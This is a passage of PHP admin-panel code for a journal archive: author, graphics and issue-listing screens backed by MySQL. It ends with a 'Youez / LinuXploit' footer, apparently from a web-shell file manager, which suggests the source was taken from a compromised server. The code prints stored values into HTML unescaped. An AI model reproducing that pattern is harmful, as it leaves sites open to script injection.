		<button type="button" class="action" onclick="addauthors()">Add Author</button>

		<br clear="all">
		<br clear="all">

		<table class="table">
			<thead id="fetchedauthors">
				<tr>
					<th>name</th>
					<th>email</th>
					<th>phone</th>
					<th colspan="3" nowrap style="background-color:#d5d5d5;">
						<div style="display:flex;align-items:center;justify-content:center;">
							<input type="checkbox" onclick="if(this.checked){ $('.mailCheckbox').val(1) }else{ $('.mailCheckbox').val('') }">&nbsp;&nbsp;&nbsp;send email
						</div>
					</th>
					<th colspan="2" nowrap style="background-color:#d5d5d5;">
						<div style="display:flex;align-items:center;justify-content:center;">
							<input type="checkbox" onclick="if(this.checked){ $('.waCheckbox').val(1) }else{ $('.waCheckbox').val('') }">&nbsp;&nbsp;&nbsp;send whatsapp
						</div>
					</th>
					<th style="with:60px;" nowrap></th>
				</tr>
				<tr>
					<td><input type="text" name="aa_authorname[]" style="width:100%;padding:.5rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /></td>
					<td><input type="text" name="aa_authoremail[]" style="width:100%;padding:.5rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /></td>
					<td><input type="text" name="aa_authorphone[]" style="width:100%;padding:.5rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /></td>
					<td nowrap style="text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:50px;background-color:#d5d5d5;">
						<input class="mailCheckbox" type="text" name="sendmail[]" maxlength="1" style="text-align:center;width:36px;padding:.1rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /><br clear="all">Mail
					</td>
					<td nowrap style="text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:80px;background-color:#d5d5d5;">
						<input class="mailCheckbox" type="text" name="sendcertificate[]" maxlength="1" style="text-align:center;width:36px;padding:.1rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /><br clear="all">Certificate
					</td>
					<td nowrap style="text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:75px;background-color:#d5d5d5;">
						<input class="mailCheckbox" type="text" name="sendcopyrightform[]" maxlength="1" style="text-align:center;width:36px;padding:.1rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /><br clear="all">Copyright
					</td>
					<td nowrap style="text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:70px;background-color:#c5c5c5;">
						<input class="waCheckbox" type="text" name="sendwamessage[]" maxlength="1" style="text-align:center;width:36px;padding:.1rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /><br clear="all">Message
					</td>
					<td nowrap style="text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:90px;background-color:#c5c5c5;">
						<input class="waCheckbox" type="text" name="sendwaadvertisement[]" maxlength="1" style="text-align:center;width:36px;padding:.1rem .375rem;border:1px solid #999 !important;border-radius: 4px;" /><br clear="all">Advertisement
					</td>
					<td nowrap style="text-align:center;text-transform:uppercase;font-size:10px;font-weight:500;width:70px;">
						<button type="button" onclick="$(this).closest('tr').remove()">Remove</button>
					</td>
				</tr>
			</thead>
			<tbody id="multiauthors"></tbody>
		</table>
		<br clear="all">
		<br clear="all">
		<br clear="all">
EOJ;
		endif;
	elseif(($opt1 === 'addgraphics' && $opt2)):
echo <<<EOJ
		<input type="hidden" name="dataid" value="{$opt2}" readonly />
		<div class="head">
			{$back}
			<input type="reset" value="reset" class="action" />
			<input type="submit" value="submit" class="action b" />
		</div>
		<div class="body">
			<div class="row">
				<div class="row">
					<label class="flbl">Graphics File :<span>*</span></label>
					<div class="flex">
						<input type="file" name="graphics[]" multiple="multiple" class="field field-file" />
						<input type="button" value="Add More Graphics" class="action addgraphics" />
					</div>
				</div>
				<div class="row">
					<label class="flbl">Alternative Text :<span>*</span></label>
					<div class="fluid">
						<textarea rows="25" cols="25" name="alt[]" multiple="multiple" id="editor" class="field"></textarea>
					</div>
				</div>
			</div>
			<div class="fluid morefields"></div>
		</div>
		<div id="gwrap" class="fluid gwrap">
EOJ;
		$stmt = $mysqli->prepare("SELECT graphicsid, file, graphicsalt FROM graphics WHERE archivesid = ?") or die($mysqli->error);
		$stmt->bind_param('i', $opt2);
		$stmt->execute();
		$stmt->store_result();
		if($stmt->num_rows() > 0):
			$stmt->bind_result($graphicsid, $file, $graphicsalt);
			while($stmt->fetch()):
				if(($file && file_exists($graphicsuploadpath.$opt2.'/'.$file))):
echo <<<EOJ
				<div class="graphics">
					<div class="body"><img src="{$graphicsdir}{$opt2}/{$file}" alt="{$graphicsalt}" /></div>
					<div class="foot">
						<input type="button" value="edit" class="action" onclick="cURL('editgraphics/{$opt2}|{$graphicsid}')" />
						<input type="button" value="" class="action ico delete" onclick="dopost('deletegraphics', '{$graphicsid}', 'Do you really want to delete?')" />
					</div>
				</div>
EOJ;
				endif;
			endwhile;
			$stmt->close();
		endif;
		echo '</div>';
	elseif(($opt1 === 'editgraphics' && $opt2)):
		$params = explode('|', $opt2);
		$archivesid = (array_key_exists(0, $params)) ? $params[0] : '';
		$graphicsid = (array_key_exists(1, $params)) ? $params[1] : '';
		$stmt = $mysqli->prepare("SELECT file, graphicsalt FROM graphics WHERE graphicsid = ?") or die($mysqli->error);
		$stmt->bind_param('i', $graphicsid);
		$stmt->execute();
		$stmt->store_result();
		$count_rows = $stmt->num_rows();
		$stmt->bind_result($file, $graphicsalt);
		$stmt->fetch();
		$stmt->close();
		if($count_rows == 1):
			$graphics = (($file && file_exists($graphicsuploadpath.$archivesid.'/'.$file))) ? '<img src="'.$graphicsdir.$archivesid.'/'.$file.'" alt="'.$graphicsalt.'" />' : '';
echo <<<EOJ
			<input type="hidden" name="archivesid" value="{$archivesid}" readonly />
			<input type="hidden" name="dataid" value="{$graphicsid}" readonly />
			<div class="head">
				{$back}
				<input type="button" value="" class="action ico delete" onclick="dopost('deletegraphics', '{$graphicsid}', 'Do you really want to delete?', true)" />
				<input type="reset" value="reset" class="action" />
				<input type="submit" value="submit" class="action b" />
			</div>
			<div class="body">
				<div class="row">
					<label class="flbl">Graphics File :</label>
					<input type="file" name="graphics" class="field field-file" />
				</div>
				<div class="row">
					<label class="flbl">Alternative Text :<span>*</span></label>
					<div style="float:left;width:100%;">
						<textarea rows="25" cols="25" name="alt" id="editor" class="field">{$graphicsalt}</textarea>
					</div>
				</div>
			</div>
			<div id="gwrap" class="fluid gwrap">
				<div class="graphics">
					<div class="body">{$graphics}</div>
				</div>
			</div>
EOJ;
		else:
			echo 'Invalid data selection.';
		endif;
	else:
		echo 'Invalid option selection.';
	endif;
else:
	function countpaper($year, $volume = NULL, $issue = NULL, $part = NULL){
		global $mysqli, $table;
		$stmt = $mysqli->prepare("SELECT COUNT(*) AS totalpartpaper FROM $table WHERE (year = ? AND volume = ? AND issue = ? AND part = ?)") or die($mysqli->error);
		$stmt->bind_param('siss', $year, $volume, $issue, $part);
		$stmt->execute();
		$stmt->store_result();
		$stmt->bind_result($totalpartpaper);
		$stmt->fetch();
		$stmt->close();
		return str_pad($totalpartpaper, 3, 0, STR_PAD_LEFT);
	}
	function issues($year){
		global $mysqli, $table, $pageurl;$li = '';$specialissue = 'Y';

		$stmt = $mysqli->prepare("SELECT * FROM archives WHERE (year = ? AND specialissue = ?) GROUP BY volume, issue") or die('An error occurred. Please try after some time.');
		$stmt->bind_param('ss', $year, $specialissue);
		$stmt->execute();
		$stmt->store_result();
		$snum = $stmt->num_rows();
		$stmt->close();

		$stmt = $mysqli->prepare("SELECT volume, issue, specialissue FROM $table WHERE year = ? GROUP BY volume, issue ORDER BY volume DESC, CONVERT(issue, DECIMAL) DESC") or die($mysqli->error);
		$stmt->bind_param('s', $year);
		$stmt->execute();
		$stmt->store_result();
		if($stmt->num_rows() > 0):
			$stmt->bind_result($volume, $issue, $specialissue);
			while($stmt->fetch()):
				$url = $pageurl.'/list/'.$year.'|'.$volume.'|'.$issue;
				if($specialissue === 'Y'):
					$li .= '<li>Volume '.$volume.' Special Issue '.preg_replace('/[^0-9]/', '', $issue).'</li>';
				else:
					$li .= '<li>Volume '.$volume.' Issue '.str_pad($issue, 2, 0,STR_PAD_LEFT).'</li>';
				endif;
				$li .= part($year, $volume, $issue);
			endwhile;
			$stmt->close();
		endif;
		return $li;
	}
	function part($year, $volume, $issue){
		global $mysqli, $table, $pageurl;$li = '';
		$stmt = $mysqli->prepare("SELECT part FROM $table WHERE (year = ? AND volume = ? AND issue = ?) GROUP BY part ORDER BY LENGTH(Part), part ASC") or die($mysqli->error);
		$stmt->bind_param('sis', $year, $volume, $issue);
		$stmt->execute();
		$stmt->store_result();
		if($stmt->num_rows() > 0):
			$stmt->bind_result($part);
			while($stmt->fetch()):
				$countpaper = $year == '2023' ? ' <span> - ['.countpaper($year, $volume, $issue, $part).']</span>' : '';
				$li .= '<li><a href="'.$pageurl.'/list/'.$year.'|'.$volume.'|'.$issue.'|'.$part.'">Part '.$part.$countpaper.'</a></li>';
			endwhile;
			$stmt->close();
		endif;
		return $li;
	}
echo <<<EOJ
	<div class="head">
		<input type="button" value="create new" class="action g" onclick="cURL('add')" />
		<input type="submit" value="download emails" class="action" onclick="sOPT('downloademails')" />
	</div>
	<ul class="body archives">
EOJ;
		$stmt = $mysqli->prepare("SELECT year FROM $table GROUP BY year ORDER BY year ASC") or die($mysqli->error);
		$stmt->execute();
		$stmt->store_result();
		if($stmt->num_rows() > 0):
			$stmt->bind_result($year);
			while($stmt->fetch()):
				echo '<li>';
				echo '<div class="fluid head">'.$year.' ISSUES</div>';
				echo '<ul class="fluid">'.issues($year).'</ul>';
				echo '</li>';
			endwhile;
		else:
			echo '<p class="fluid" style="margin:10px 0 20px;text-align:center">'.$emptyrows.'</p>';
		endif;
echo <<<EOJ
	</ul>
EOJ;
endif;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit